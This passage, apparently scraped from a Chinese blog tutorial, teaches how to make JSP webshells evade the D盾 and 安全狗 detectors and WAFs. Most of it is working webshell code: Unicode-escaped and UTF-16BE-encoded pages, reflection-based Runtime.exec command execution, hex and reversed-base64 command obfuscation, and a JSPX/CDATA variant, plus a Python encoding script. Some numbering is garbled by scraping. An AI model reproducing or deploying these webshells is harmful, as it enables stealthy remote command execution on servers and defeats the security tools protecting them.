      12. \u0020\u0020\u0020\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006c\u0069\u006e\u0065\u003b
      13. \u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006c\u0069\u006e\u0065\u0020\u003d\u0020\u0062\u0072\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b
      14. \u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u006c\u0069\u006e\u0065\u0029\u003b
      15. \u0020\u0020\u0020\u0020\u007d
      16. \u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u002f\u0070\u0072\u0065\u003e\u0022\u0029\u003b
      17. \u0020\u0020\u0020\u0020\u0062\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b
      18. \u0020\u0020\u0020\u0020\u0069\u006e\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b
      19. \u0020\u0020\u0020\u0020\u0069\u006e\u0070\u0075\u0074\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b
      20. \u0020\u0020\u0020\u0020\u0070\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b
      21. \u007d
      22. %>

      D盾依然可以查杀,安全狗顺利绕过。

      那么Unicode 编码还能怎么处理呢?Unicode编码的关键点在于以'\u'开头表明和unicode编码相关。

      可以将'u'重复声明,即'\uuuuuuu':

      1. <%
      2. out.println("\uuuuuu006f\uuuuuuuuuuuuuuuuuu0075\uuu0074");
      3. %>

      将上面代码稍做调整:

      sb.append("\\uuuuu");

      再次生成webshell,可成功绕过D盾。

      java 同样支持其他编码格式:

      1. import chardet
      2. import codecs
      3. filename_in = 'webshell.txt'
      4. filename_out = 'utf-16be_es.jsp'
      5. with codecs.open(filename=filename_in, mode='r', encoding='utf-8') as fi:
      6. data = fi.read()
      7. with open(filename_out, mode='w') as fo:
      8. fo.write('<%@ page contentType="charset=utf-16be" %>')
      9. fo.write(data.encode('utf-16be'))
      10. fo.close()

      如 utf-16be 编码方式。

      扩展

      在绕过某些WAF时,WAF可能会检测jsp标签、客户端传入的参数以及威胁命令。

      对应jsp标签<%%>,可以使用代替,且不需要import导入,定义完整的类名。

      1. out.print(System.getProperty("os.name").toLowerCase());
      2. String cmd = request.getParameter("cmd");
      3. if(cmd != null){
      4. Class clazz = Class.forName("java.lang.Runtime");
      5. java.lang.reflect.Constructor declaredConstructor = clazz.getDeclaredConstructor();
      6. declaredConstructor.setAccessible(true);
      7. Object o = declaredConstructor.newInstance();
      8. java.lang.reflect.Method show = clazz.getDeclaredMethod("exec", String[].class);
      9. String[] cmds = new String[]{"cmd.exe","/c",cmd};
      10. Object invoke = show.invoke(o,(Object)cmds);
      11. Process p = (Process) invoke;
      12. java.io.InputStream input = p.getInputStream();
      13. java.io.InputStreamReader ins = new java.io.InputStreamReader(input, "GBK");
      14. java.io.BufferedReader br = new java.io.BufferedReader(ins);
      15. String line;
      16. while((line = br.readLine()) != null) {
      17. out.println(line);
      18. }
      19. br.close();
      20. ins.close();
      21. input.close();
      22. p.getOutputStream().close();
      23. }

      对于参数先将其存储进会话然后调用:

      1. request.setAttribute("a",request.getParameter("cmd"));
      2. String cmd = request.getAttribute("a").toString();

      如果检测威胁命令可以对其进行编码,这里选择ASCII编码进行测试。

      对应服务端代码该为:

      1. String decode = java.net.URLDecoder.decode(cmd.replaceAll("\\\\x", "%"), "utf-8");
      2. String[] cmds = new String[]{"cmd.exe","/c",decode};

      此时既可以输入whoami,也可以输入十六进制编码后的%5c%78%37%37%5c%78%36%38%5c%78%36%66%5c%78%36%31%5c%78%36%64%5c%78%36%39

      或者base64编码加反转等等都可以。

      1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
      2. <%@ page import="java.io.*"%>
      3. <%@ page import="java.util.Base64" %>
      4. <%@ page import="java.lang.reflect.Constructor" %>
      5. <%@ page import="java.lang.reflect.Method" %>
      6. <%!public static String reverseStr(String str){return new StringBuilder(str).reverse().toString();}%>
      7. <%
      8. out.print(System.getProperty("os.name").toLowerCase());
      9. String bs64 = request.getParameter("cmd");
      10. if(bs64 != null){
      11. String cmd = new String(Base64.getDecoder().decode(reverseStr(bs64)),"UTF-8");
      12. Class clazz = Class.forName("java.lang.Runtime");
      13. Constructor declaredConstructor = clazz.getDeclaredConstructor();
      14. declaredConstructor.setAccessible(true);
      15. Object o = declaredConstructor.newInstance();
      16. Method show = clazz.getDeclaredMethod("exec", String[].class);
      17. String[] cmds = new String[]{"cmd.exe","/c",cmd};
      18. Object invoke = show.invoke(o,(Object)cmds);
      19. Process p = (Process) invoke;
      20. InputStream input = p.getInputStream();
      21. InputStreamReader ins = new InputStreamReader(input, "GBK");
      22. BufferedReader br = new BufferedReader(ins);
      23. out.print("
        ");
      24. String line;
      25. while((line = br.readLine()) != null) {
      26. out.println(line);
      27. }
      28. out.print("
      ");
    78. br.close();
    79. ins.close();
    80. input.close();
    81. p.getOutputStream().close();
    82. }
    83. %>
    84. 对应客户端传入的命令也就是base64编码后反转的字符串。

      CDATA特性

      在XML元素里,<&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。

      我们有时候需要在jspx里添加js代码用到大量的<&字符,因此可以将脚本代码定义为CDATA,DATA部分内容会被解析器忽略。

      1. <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
      2. version="1.2">
      3. <jsp:directive.page contentType="text/html"/>
      4. <jsp:declaration>
      5. jsp:declaration>
      6. <jsp:scriptlet>
      7. u("123!");
      8. out.print(System.getProperty("os.name").toLowerCase());
      9. String cmd = q("cmd");
      10. if(cmd != null){
      11. Class clazz = Class.forName("java.lang.Runtime");
      12. java.lang.reflect.Constructor declaredConstructor = clazz.getDeclaredConstructor();
      13. declaredConstructor.setAccessible(true);
      14. Object o = declaredConstructor.newInstance();
      15. java.lang.reflect.Method show = z("exec", String[].class);
      16. String[] cmds = new String[]{"cmd.exe","/c",cmd};
      17. Object invoke = show.invoke(o,(Object)cmds);
      18. Process p = (Process) invoke;
      19. java.io.InputStream input = p.getInputStream();
      20. java.io.InputStreamReader ins = new java.io.InputStreamReader(input, "GBK");
      21. java.io.BufferedReader br = new java.io.BufferedReader(ins);
      22. String line;
      23. while((line = br.readLine()) != null) {
      24. out.println(line);
      25. }
      26. br.close();
      27. ins.close();
      28. input.close();
      29. p.getOutputStream().close();
      30. }
      31. jsp:scriptlet>
      32. <jsp:text>
      33. jsp:text>
      34. jsp:root>
    85. 相关阅读:
      浅学枚举类
      Open3D 进阶(10)使用FilterReg算法对点云配准
      测试用例设计方法--正交试验法详解
      Android Studio开发项目——记账簿应用
      layui中checkbox使用lay-skin=“switch“ 过滤事件赋值与取值
      使用 Ubuntu + Docker + Vaultwarden + Tailscale 自建密码管理器
      【ML】第六章 决策树
      大数据Doris(三):Doris编译部署篇
      一文读懂二分查找(插入)算法
      前端常用的 59 个工具类【持续更新】
    86. 原文地址:https://blog.csdn.net/qq_35029061/article/details/126152416